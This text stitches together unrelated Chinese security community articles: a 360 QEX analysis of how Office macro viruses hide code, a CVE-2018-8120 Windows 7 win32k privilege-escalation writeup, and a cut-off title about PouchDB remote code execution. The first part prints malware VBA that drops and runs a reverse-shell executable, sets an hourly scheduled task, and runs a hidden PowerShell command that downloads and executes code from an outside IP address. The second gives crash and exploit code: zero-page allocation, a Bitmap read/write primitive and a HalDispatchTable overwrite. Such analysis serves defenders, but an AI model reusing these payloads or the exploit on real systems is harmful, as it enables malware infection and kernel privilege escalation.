在与安全软件的对抗中,宏病毒使用了多种手段隐藏其恶意代码或数据,近期出现的新变种则是利用Excel表格的函数动态生成PE文件数据、设置远距离存放位置、隐藏显示、不同表切换等方式进行隐藏。接下来,360QEX引擎团队将对宏病毒代码流行的三类“隐身术”进行逐一揭秘。
**0x01 Excel表格隐藏数据**
样本文件md5: 48f202f903741e7a1722bfa6b4c051aa.xls
sha256: 083a05000c4b8e9a88a0ff8a95a3d9826dd389b440bb1781237ca124b0d986a7
virustotal 扫描结果:
样本对自身 VBAProject 进行了加密,
破解之后,看到了宏代码执行入口函数 Auto_Open,
Sub Auto_Open()
On Error Resume Next
Application.DisplayAlerts = False
Dim WB As Workbook
Set WB = ActiveWorkbook
Dim Sh1, Sh2, sh3 As Worksheet
Set Sh1 = WB.Sheets(1)
Set Sh2 = WB.Sheets(2)
Set sh3 = WB.Sheets(3)
Dim str As String
str = Sh2.Cells(996, 40)
Dim t As Date
t = Now + TimeSerial(0, 0, 1)
Application.OnTime t, str
End Sub
病毒作者使用 Application.OnTime 函数,间隔 1 秒,执行 字符串 “str” ,”str” 的值是从表格 Cells(996, 40)
中获取,当去查看表格中该处值时发现病毒更改了Excel单元格格式
,把数据隐藏显示。
单元格格式设置为三个 ;;; 时,单元格内容就会被隐藏。
单元格的格式默认是显示的,初始设置为,
去掉隐藏后,查看表格中该值是 Fnslr12 , 即病毒的功能入口函数名称,函数代码为,
Sub Fnslr12()
On Error Resume Next
Application.DisplayAlerts = False
Call Build
Sheets(1).Select
Dim WB As Workbook
Set WB = ActiveWorkbook
Dim Sh1, Sh2, sh3 As Worksheet
Set Sh1 = WB.Sheets(1)
Set Sh2 = WB.Sheets(2)
If Cells(2, 1) <> "" Then
GoTo skyhigh
End If
''' 以下省略
因此,该函数为病毒代码的主功能函数。
此函数的功能有,
1、
Call Build
调用 Build 函数, Build 函数功能为:在表格中动态生成,待写入 可执行文件(pe文件)所需的数据,其功能代码简略如下,
Sub Build()
Sheets(2).Select
Set WB = ActiveWorkbook
Set Sh1 = WB.Sheets(1)
Set Sh2 = WB.Sheets(2)
'bob location
i = Sh2.Cells(1000, 12)
j = Sh2.Cells(1000, 13)
'index table location
R = Sh2.Cells(1000, 10)
C = Sh2.Cells(1000, 11)
Counter = R
Do While Sh2.Cells(Counter, C) <> ""
If Sh2.Cells(Counter, C + 1) <> "" Then
S1 = Sh2.Cells(Counter, C)
S2 = Sh2.Cells(Counter, C + 1)
End If
Counter = Counter + 1
Loop
Cells(i, j).Select
Range(Selection, Selection.End(xlDown)).Select
Selection.Cut
Range("i1001").Select
ActiveSheet.Paste
Cells(1, 1).Select
End Sub
函数运行结果为,在 1001 行往下,依次每行填入数据。
2、对是否运行过一次做检查,
If Cells(2, 1) <> "" Then
GoTo skyhigh
End If
当运行过一次之后, Cells(2,1) 表格会被写入值,会在这里进入语句 Then ,执行 “Goto skyhigh” 语句, “skyhigh”
标记定位在函数尾部,即执行该语句后会退出该函数。
3、从代码意图猜测,病毒作者想在 %userprofile% AppDataRoamingMicrosoftTemplates
生成一个名为Macro1.vbs 的vbs文件 ,
Dim Fnslr1 As String
Dim Fnslr2 As String
Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplatesMacro1.vbs"
ChDrive (Fnslr2)
If Dir(Fnslr2) = "" Then
Else
End If
其中,病毒拼凑生成文件的目录路径时,从表格 2 的Cells(998, 40) 中读取 ,该值为环境变量值 userprofile.
只是,病毒作者并没有继续完善相关代码。实际测试运行样本也并没有生成该文件,猜测可能作者后续加入该功能,或者该功能已经被取消。
4、在 %serprofile% AppDataRoamingMicrosoftTemplates 目录生成可执行文件 Macro1.exe,
Dim i As Double
i = 1000
Fnslr1 = "Macro1.exe"
Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates"
Fnslr3 = FreeFile()
Open Fnslr1 For Binary As Fnslr3
Do While Sh2.Cells(i, 9) <> ""
Fnslr11 = Sh2.Cells(i, 9)
If (Fnslr9 = True) Then
Fnslr8 = 1
Do While (Fnslr8 < Len(Fnslr11))
Fnslr6 = Sh2.Cells(997, 40) & Mid(Fnslr11, Fnslr8, 3)
Put #Fnslr3, , Fnslr6
Fnslr8 = Fnslr8 + 3
Loop
End If
If Fnslr9 = False Then
Fnslr9 = True
End If
i = i + 1
Loop
Close #Fnslr3
Dim Fnslr10 As String
Fnslr10 = Fnslr1
Fnslr7 = Shell(Fnslr10, vbHide)
写入 Macro1.exe 所需的数据,从 Excel 表格中 Cells(997, 40) 周围读取,实际测试数据开始位置是 1001行,
代码尾部使用 Shell 函数,启动生成的 Macro1.exe 。
文件信息
可执行文件是 x64位的,功能是,启动 powershell 附带 –enc 参数,执行一段 shellcode ,这段 shellcode是一个
reverse shell ,连接黑客服务器,等待下达命令。
此部分与下面创建计划任务不间断运行的功能呼应起来,此部分不是本文重点,不再详述。
5、在 %serprofile% AppDataRoamingMicrosoftTemplates 目录生成 bat (cmd) 批处理脚本文件
Macro1.bat,
Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates"
Dim User As String
User = Environ(Sh2.Cells(998, 40))
Fname = Fnslr2 & "Macro1.bat"
FNum = FreeFile
Open Fname For Output Access Write As #FNum
WholeLine = "SchTasks /Create /SC HOURLY /TN " & Sh2.Cells(1000, 3) & "Macro1" & Sh2.Cells(1000, 3) & " /TR" & " " & User & "AppDataRoamingMicrosoftTemplates" & "Macro1.exe /ST 01:00"
Print #FNum, WholeLine
Close #FNum
Dim TempFileName As String
TempFileName = Fnslr2 & "Macro1.bat"
Shell TempFileName, vbHide
尾部使用 Shell 函数 启动该脚本,结果是在用户机器创建了一个计划任务, 每隔一小时运行一次 上面生成的 Macro1.exe 。
6、弹窗显示输入密码才能继续进行运行,
pword = InputBox("Please enter a password to proceed", "Password Required", "*******")
Select Case pword
Case Is = ""
MsgBox "Try Again"
Case "Alon2016"
RP = 1
Case Is <> "Alon2016"
MsgBox "Try Again"
End Select
从病毒代码中知道,要求输入的密码是 “Alon2016” 。
7、接下来是现场清理和掩饰,删除调用Build 函数在表格生成的数据,在表格的开头显著位置填入在其他表格中保存的邮件收件人地址信息,
小结:该样本的特别之处有,1、PE文件数据是使用函数动态生成,2、数据存放在Excel表格中,使用隐藏显示,3、数据存放位置很远,不容易被看到,4、病毒在不同的excel表中切换,给分析人员调试VBA代码增加困难,5,病毒运行完毕,清理现场,显示邮件地址列表,掩饰自身。
**0x02 VBA User Form隐藏代码**
此类病毒把部分代码隐藏到 VBA 工程中的 用户控件(User Form)中,甚至把带有代码的控件最小化,使之不易被看到。
样本文件md5:9266db6c7772f6c45411ff3a591b1374
sha256 : 9d11f2d2f0e0e5fd8a2ef552a5521920767d7939881443435296d0c600e4a71a
virustotal 扫描结果:
查看该文件的宏,
此文件看起来像是正常的SQL操作类的宏代码,但是当我们查看窗体 Ultra 时发现,
有个控件的Caption中存放了可疑数据如下,
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)hendib00.00×00
此数据在宏代码中被使用的位置为,
CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
其中,CadenaCurrency 是一个简单的 Replace 调用,
Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String
CadenaCurrency = Replace(A1, A2, A3)
End Function
解密方法是,
Dim aproblems As String
aproblems = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
aproblems = CadenaCurrency(aproblems, "D!", "M")
aproblems = CadenaCurrency(aproblems, "bri", "s")
constans_problems = Split(aproblems, "10)")
解密为,
Microsoft.XMLHTTP
Adodb.stream
shell.Application
Wscript.shell
Process
GeT
Temp
Type
open
write
responseBody
savetofile
hendibe.exe
几个字符串呈现出非常明显的意图,下载(Microsoft.XMLHTTP)+ 写文件(Adodb.stream)+ 执行(shell.Application
/ Wscript.shell)。
此样本因为代码有问题,没能成功运行起来。找到宏代码中使用 Microsoft.XMLHTTP
对象下载文件的位置,加上断点调试,起先因为作者疏忽,忘记书写一个双引号,导致编译失败,
之后,运行到下载文件处时,出现了报错。
**0x03文档内建属性隐藏代码**
此类病毒把代码核心恶意部分放入文档的内建属性中。
样本文件md5:0ce81eda6b6886163cf5dadffecc0df9
sha256: 23d07a51f7a14a95a1efc55ad3f18cd5a71607156cd325256d43f0b68cfb62cd
virustotal 扫描结果:
此样本的vba 宏代码只有1个文件,很简短,
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Call winshell
End Sub
Sub AutoOpen()
Call winshell
End Sub
Function winshell() As Object
On Error Resume Next
Err.Clear
Dim ps As String
ps = ActiveDocument.BuiltInDocumentProperties("Manager").Value
Dim Obj As Object
Set Obj = CreateObject("WScript.Shell")
Obj.Run ps, 0
Application.DisplayAlerts = False
End Function
响应两个文档打开事件,AutoOpen 与Auto_Open,直接执行 winshell函数, winshell函数读取文件内建属性,Manager
的值,直接执行起来。Manager值,我们使用右键文件属性,查看为,
powershell.exe -nop -w hidden -c $b=new-object
net.webclient;$b.proxy=[Net.WebRequest]::GetSystemWebProxy();$b.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX
$b.downloadstring('http://37.28.154.204:8081/ygklKbyIVG51Kol');
是一段 Powershell 执行的脚本代码,从指定 URL (http://37.28.154.204:8081/ygklKbyIVG51Kol)
下载文件。目前测试此URL已经无法访问。
**0x04 总结**
以加密勒索为代表的病毒,越来越多的使用Office宏,js,vbs等非Pe文件来传播。通过脚本代码动态向Windows
目录中释放可执行文件或者从服务器下载可执行文件。
非PE病毒查杀引擎QEX是 360安全产品中负责查杀宏病毒及vbs、js、html等脚本病毒的独有引擎。上述样本QEX引擎均已查杀。
在这里也提醒 Microsoft Office 文档系列软件的使用用户,
1、如日常无使用宏的需求,请禁用 Office 宏,禁用方式参考 [https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12](https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12)
2、对于经常使用宏工作的用户,请安装安全软件,定期更新病毒库,对于他人发送的文档,在打开之前请先扫描。
**0x05 Reference**
[https://blogs.technet.microsoft.com/mmpc/2016/05/17/malicious-macro-using-a-sneaky-new-trick/](https://blogs.technet.microsoft.com/mmpc/2016/05/17/malicious-macro-using-a-sneaky-new-trick/)
[http://www.freebuf.com/articles/system/104221.html](http://www.freebuf.com/articles/system/104221.html)
[https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html](https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html)
[http://superuser.com/questions/807926/how-to-bypass-the-vba-project-password-from-excel](http://superuser.com/questions/807926/how-to-bypass-the-vba-project-password-from-excel)
[https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12](https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12)
[http://bobao.360.cn/learning/detail/2827.html](http://bobao.360.cn/learning/detail/2827.html) | 社区文章 |
# 0x00：前言
2018年5月微软发布了一次安全补丁，其中有一个是对内核空指针解引用的修复，本片文章从补丁对比出发，对该内核漏洞进行分析，对应CVE-2018-8120，实验平台是Windows
7 x86 sp1
# 0x01：补丁对比
对比四月和五月的安全补丁可以定位以下几个关键函数，逐个分析观察可以定位到我们本次分析的的关键函数`SetImeInfoEx`
可以看到五月的补丁对`SetImeInfoEx`多了一层检验
IDA中观察4月补丁反汇编如下，稍微添加了一些注释
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // eax
int v3; // eax
int v4; // eax
result = pwinsta;
if ( pwinsta ) // 判断 pwinsta 是否为空
{
v3 = *(_DWORD *)(pwinsta + 0x14); // 获取 pwinsta + 0x14 处的值,也就是 spkList
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )// 未判断指针内容直接引用,触发空指针解引用漏洞
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == *(_DWORD *)(pwinsta + 0x14) )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
result = 1;
}
return result;
}
5月补丁反汇编如下
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // edx
int v3; // eax
int v4; // eax
if ( !pwinsta )
return 0;
result = *(_DWORD *)(pwinsta + 0x14);
if ( !result )
return 0;
v3 = *(_DWORD *)(pwinsta + 0x14);
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == result )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
return 1;
}
可以看到五月的补丁对于参数v3是否为零进行了一次检测，我们对比`SetImeInfoEx`函数的实现发现，也就是多了对成员域
`spklList`的检测，v3就是我们的`spklList`，该函数的主要作用是对扩展结构`IMEINFO`进行设置
// nt4 源码
/**************************************************************************\
* SetImeInfoEx
*
* Set extended IMEINFO.
*
* History:
* 21-Mar-1996 wkwok Created
\**************************************************************************/
BOOL SetImeInfoEx(
PWINDOWSTATION pwinsta,
PIMEINFOEX piiex)
{
PKL pkl, pklFirst;
UserAssert(pwinsta->spklList != NULL);
pkl = pklFirst = pwinsta->spklList;
do {
if (pkl->hkl == piiex->hkl) {
/*
* Error out for non-IME based keyboard layout.
*/
if (pkl->piiex == NULL)
return FALSE;
/*
* Update kernel side IMEINFOEX for this keyboard layout
* only if this is its first loading.
*/
if (pkl->piiex->fLoadFlag == IMEF_NONLOAD) {
RtlCopyMemory(pkl->piiex, piiex, sizeof(IMEINFOEX));
}
return TRUE;
}
pkl = pkl->pklNext;
} while (pkl != pklFirst);
return FALSE;
}
同样的修复我们可以在`ReorderKeyboardLayouts`函数中看到，也是对`spklList`成员域进行了限制
`ReorderKeyboardLayouts`函数实现如下，可以看到函数也对`spklList`进行了调用，我们这里主要分析`SetImeInfoEx`函数
// nt4 源码
VOID ReorderKeyboardLayouts(
PWINDOWSTATION pwinsta,
PKL pkl)
{
PKL pklFirst = pwinsta->spklList;
UserAssert(pklFirst != NULL);
/*
* If the layout is already at the front of the list there's nothing to do.
*/
if (pkl == pklFirst) {
return;
}
/*
* Cut pkl from circular list:
*/
pkl->pklPrev->pklNext = pkl->pklNext;
pkl->pklNext->pklPrev = pkl->pklPrev;
/*
* Insert pkl at front of list
*/
pkl->pklNext = pklFirst;
pkl->pklPrev = pklFirst->pklPrev;
pklFirst->pklPrev->pklNext = pkl;
pklFirst->pklPrev = pkl;
Lock(&pwinsta->spklList, pkl);
}
结合上面微软对于两个函数的修复，我们可以猜测这次的修复主要是对`spklList`成员域的错误调用进行修复，从`SetImeInfoEx`函数的交叉引用中，因为只有一处交叉引用，所以我们可以追溯到调用函数`NtUserSetImeInfoEx`，通过分析可以看到该函数的主要作用是对进程中的窗口进行设置
signed int __stdcall NtUserSetImeInfoEx(char *buf)
{
signed int v1; // esi
char *v2; // ecx
char v3; // al
signed int pwinsta; // eax
char piiex; // [esp+10h] [ebp-178h]
CPPEH_RECORD ms_exc; // [esp+170h] [ebp-18h]
UserEnterUserCritSec();
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = buf;
if ( (unsigned int)buf >= W32UserProbeAddress )
v2 = (char *)W32UserProbeAddress;
v3 = *v2;
qmemcpy(&piiex, buf, 0x15Cu);
ms_exc.registration.TryLevel = 0xFFFFFFFE;
pwinsta = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(pwinsta, &piiex); // 参数 pwinsta 由 _GetProcessWindowStation(0) 获得
// 参数 piiex 在 qmemcpy 函数中由 a1 拷贝得到,而 a1 是我们可控的传入参数
}
else
{
UserSetLastError(0x78);
v1 = 0;
}
UserSessionSwitchLeaveCrit();
return v1;
}
在`SetImeInfoEx`函数中，我们可以看到传入的指针`PWINDOWSTATION`指向结构体`tagWINDOWSTATION`结构如下，也就是窗口站结构，其中偏移
0x14 处可以找到`spklList`，我们需要关注的点我会进行注释
1: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL // 关注点
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
我们继续追溯到`spklList`指向的结构`tagKL`，可以看到是一个键盘布局对象结构体，结构体成员中我们可以看到成员`piiex`指向一个基于`tagIMEINFOEX`布局的扩展信息，而在`SetImeInfoEx`函数中，该成员作为第二个参数传入，作为内存拷贝的内容，我们还可以发现有两个很相似的指针`pklNext`和`pklPrev`负责指向布局对象的前后
1: kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL // 关注点
+0x00c pklPrev : Ptr32 tagKL // 关注点
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__ // 关注点
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX // 关注点
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
`piiex`指向的`tagIMEINFOEX`的结构如下
1: kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B // 关注点
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
# 0x02：漏洞复现
通过上面对每个成员的分析，我们大概知道了函数之间的调用关系，这里再简单总结一下，首先当用户在R3调用`CreateWindowStation`生成一个窗口时，新建的
WindowStation 对象其偏移 0x14 位置的 spklList
字段的值默认是零，如果我们调用R0函数`NtUserSetImeInfoEx`，传入一个我们定义的 buf ，函数就会将 buf 传给 piiex 在传入
SetImeInfoEx 中，一旦调用了 SetImeInfoEx 函数，因为 spklList
字段是零，所以就会访问到零页内存，导致蓝屏，所以我们构造如下代码
#include<stdio.h>
#include<Windows.h>
#define IM_UI_CLASS_SIZE 16
#define IM_FILE_SIZE 80
#define IM_DESC_SIZE 50
typedef struct {
DWORD dwPrivateDataSize;
DWORD fdwProperty;
DWORD fdwConversionCaps;
DWORD fdwSentenceCaps;
DWORD fdwUICaps;
DWORD fdwSCSCaps;
DWORD fdwSelectCaps;
} tagIMEINFO;
typedef struct {
HKL hkl;
tagIMEINFO ImeInfo;
WCHAR wszUIClass[IM_UI_CLASS_SIZE];
DWORD fdwInitConvMode;
BOOL fInitOpen;
BOOL fLoadFlag;
DWORD dwProdVersion;
DWORD dwImeWinVersion;
WCHAR wszImeDescription[IM_DESC_SIZE];
WCHAR wszImeFile[IM_FILE_SIZE];
CHAR fSysWow64Only : 1;
BYTE fCUASLayer : 1;
} tagIMEINFOEX;
// 通过系统调用实现NtUserSetImeInfoEx函数
static
BOOL
__declspec(naked)
NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[0x4];
memset(buf, 0x41, sizeof(buf));
// WindowStation->spklList字段为0，函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);
return 0;
}
运行发现果然蓝屏了，问题出在 win32k.sys
我们通过蓝屏信息定位到问题地址，确实是我们前面所说的`SetImeInfoEx`函数
# 0x03：漏洞利用
## 利用思路
我们利用的思路首先可以想到因为是在win
7的环境中，我们可以在零页构造一些结构，所以我们这里首先获得并调用申请零页的函数`NtAllocateVirtualMemory`，因为内存对齐的问题我们这里申请大小的参数设置为
1 以申请到零页内存
// 申明函数
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
// 零页申请内存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
printf("[+] Started to alloc zero page");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+] Failed to alloc zero page!\n");
system("pause");
return 0;
}
ZeroMemory(Zero_addr, RegionSize);
printf(" => done!\n");
申请到内存我们就需要开始思考如何进行构造，我们再详细回顾一下漏洞复现例子中的一些函数，根据前面的例子我们知道，需要使用到`CreateWindowStation`创建窗口函数，详细的调用方法如下
HWINSTA CreateWindowStationA(
LPCSTR lpwinsta,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpsa
);
创建好窗口站对象之后我们还需要将当前进程和窗口站对应起来，需要用到 `SetProcessWindowStation`
函数将指定的窗口站分配给调用进程。这使进程能够访问窗口站中的对象，如桌面、剪贴板和全局原子。窗口站上的所有后续操作都使用授予`hWinSta`的访问权限
BOOL SetProcessWindowStation(
HWINSTA hWinSta
);
最后一步就是调用`xxNtUserSetImeInfoEx`函数蓝屏，我们这里能做手脚的就是给`xxNtUserSetImeInfoEx`函数传入的参数`piiex`
// nt4 源码
BOOL NtUserSetImeInfoEx(
IN PIMEINFOEX piiex);
我们在IDA中继续分析一下并粗略的构造一个思路，这里我根据结构重新注释修复了一下 IDA 反汇编的结果
bool __stdcall SetImeInfoEx(DWORD *pwinsta, DWORD *piiex)
{
bool result; // al
DWORD *spklList; // eax
DWORD *tagKL_piiex; // eax
result = (char)pwinsta;
if ( pwinsta )
{
spklList = (DWORD *)pwinsta[5]; // pwinsta 指向 tagWINDOWSTATION 结构
// pwinsta[5] == tagWINDOWSTATION->spklList
while ( spklList[5] != *piiex ) // spklList 指向 tagKL 结构
// spklList[5] == tagKL->hkl
// tagKL->hkl == &piiex 绕过第一个检验
{
spklList = (DWORD *)spklList[2];
if ( spklList == (DWORD *)pwinsta[5] )
return 0;
}
tagKL_piiex = (DWORD *)spklList[0xB]; // spklList[0xB] == tagKL->piiex
if ( !tagKL_piiex ) // tagKL->piiex 不能为零绕过第二个检验
return 0;
if ( !tagKL_piiex[0x12] ) // piiex 指向 tagIMEINFOEX 结构
// piiex[0x12] == tagIMEINFOEX->fLoadFlag
// 这里 tagIMEINFOEX->fLoadFlag 需要为零才能执行拷贝函数
qmemcpy(tagKL_piiex, piiex, 0x15Cu);
result = 1;
}
return result;
}
需要清楚的是，我们最后`SetImeInfoEx`中的拷贝函数会给我们带来什么作用，他会把我们传入的`piiex`拷贝到`tagKL->piiex`中，拷贝的大小是
0x15C ，我们这里其实想到的是拷贝之后去覆盖
`HalDispatchTable+0x4`的位置，然后调用`NtQueryIntervalProfile`函数提权，所以我们只需要覆盖四个字节，为了达到更精准的覆盖我们想到了
win10 中的滥用Bitmap对象达到任意地址的读和写，那么在 win 7 中我们如何运用这个手法呢?其实很简单，原理上和 win 10
相同，只是我们现在有个问题，要达到任意地址的读和写，我们必须得让`hManagerPrvScan0`指向`hworkerPrvScan0`，我们如何实现这个目标呢?聪明的你一定想到了前面的拷贝函数，让我们先粗略的构造一个利用思路：
* 初始化申请零页内存
* 新建一个窗口并与当前线程关联
* 申请并泄露Bitmap中的PrvScan0地址
* 在零页构造结构体绕过检查实现能够调用拷贝函数
* 构造`xxNtUserSetImeInfoEx`函数的参数并调用实现`hManagerPrvScan0`指向`hworkerPrvScan0`
* 将 `HalDispatchTable+0x4`内容写为shellcode的内容
* 调用`NtQueryIntervalProfile`函数运行shellcode提权
## xxNtUserSetImeInfoEx参数构造
有了思路我们现在就只差时间了，慢慢的调试总能给我们一个完美的结果(吗)，我们知道`NtUserSetImeInfoEx`函数的参数是一个`tagIMEINFOEX`结构而`tagKL`则指向这个结构，根据前面IDA中的注释，我们知道我们需要绕过几个地方的检验，从检验中我们可以发现需要做手教的地方分别是`tagKL->hkl`和`tagKL->piiex`，我们的`tagKL->hkl`需要和传入的`piiex`地址一致，`tagKL->piiex`这个结构有两处检验，第一处是自己不能为空，第二处是`tagIMEINFOEX->fLoadFlag`也必须赋值，观察Bitmap的结构，我们知道
+0x2c
偏移处刚好不为零，所以我们考虑如下构造，把`tagKL->piiex`赋值为`pManagerPrvScan0`，把`tagKL->hkl`赋值为`pWorkerPrvScan0`，为了使传入的`piiex`与我们的`tagKL->hkl`相等，我们将其构造为`pWorkerPrvScan0`的结构
DWORD* faketagKL = (DWORD*)0x0;
// 手动构造 pWorkerPrvScan0 结构
*(DWORD*)((PBYTE)& fakepiiex + 0x0) = pWorkerPrvScan0;
*(DWORD*)((PBYTE)& fakepiiex + 0x4) = 0x104;
*(DWORD*)((PBYTE)& fakepiiex + 0x8) = 0x00001b97;
*(DWORD*)((PBYTE)& fakepiiex + 0xC) = 0x00000003;
*(DWORD*)((PBYTE)& fakepiiex + 0x10) = 0x00010000;
*(DWORD*)((PBYTE)& fakepiiex + 0x18) = 0x04800200;
printf("[+] piiex address is : 0x%p\n", fakepiiex); // pWorkerPrvScan0
printf("[+] &piiex address is : 0x%p\n", &fakepiiex);
printf("[+] faketagKL address is : 0x%p\n", faketagKL);
// 绕过检验
*(DWORD*)((PUCHAR)faketagKL + 0x14) = pWorkerPrvScan0; // tagKL->hkl
*(DWORD*)((PUCHAR)faketagKL + 0x2c) = pManagerPrvScan0; // tagKL->piiex
xxNtUserSetImeInfoEx(&fakepiiex); // 拷贝函数实现 pManagerPrvScan0->pWorkerPrvScan0
在`xxNtUserSetImeInfoEx`函数之后下断点你会发现已经实现了`pManagerPrvScan0->pWorkerPrvScan0`，这时我们就可以尽情的任意读写了
## GetShell
最后提权的过程还是和以前一样，覆盖`HalDispatchTable+0x4`函数指针，然后调用`NtQueryIntervalProfile`函数达到运行shellcode的目的
VOID GetShell()
{
DWORD interVal = 0;
DWORD32 halHooked = GetHalOffset_4();
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
//__debugbreak();
writeOOB(halHooked, (PVOID)& ShellCode, sizeof(DWORD32));
// 1. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4
// 2. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4->shellcode
// 执行shellcode
NtQueryIntervalProfile(0x1234, &interVal);
}
最终整合一下思路和代码我们就可以提权了(不要在意这盗版的win 7...)，效果如下，详细的代码参考 =>
[这里](https://github.com/ThunderJie/CVE/tree/master/CVE-2018-8120)
# 0x04：后记
这个漏洞也可以在win 7
x64下利用，后续我会考虑把64位的利用代码完善一下，思路都差不多，主要修改的地方是偏移和汇编代码的嵌入问题，这个漏洞主要是在零页的构造，如果在win
8中就很难利用，毕竟没有办法在零页申请内存
参考资料：
[+] <https://www.freebuf.com/vuls/174183.html>
[+] <https://xiaodaozhi.com/exploit/149.html> | 社区文章 |
# 【技术分享】从PouchDB到RCE: 一个node.js注入向量
|
##### 译文声明
本文是翻译文章，文章来源：安全客
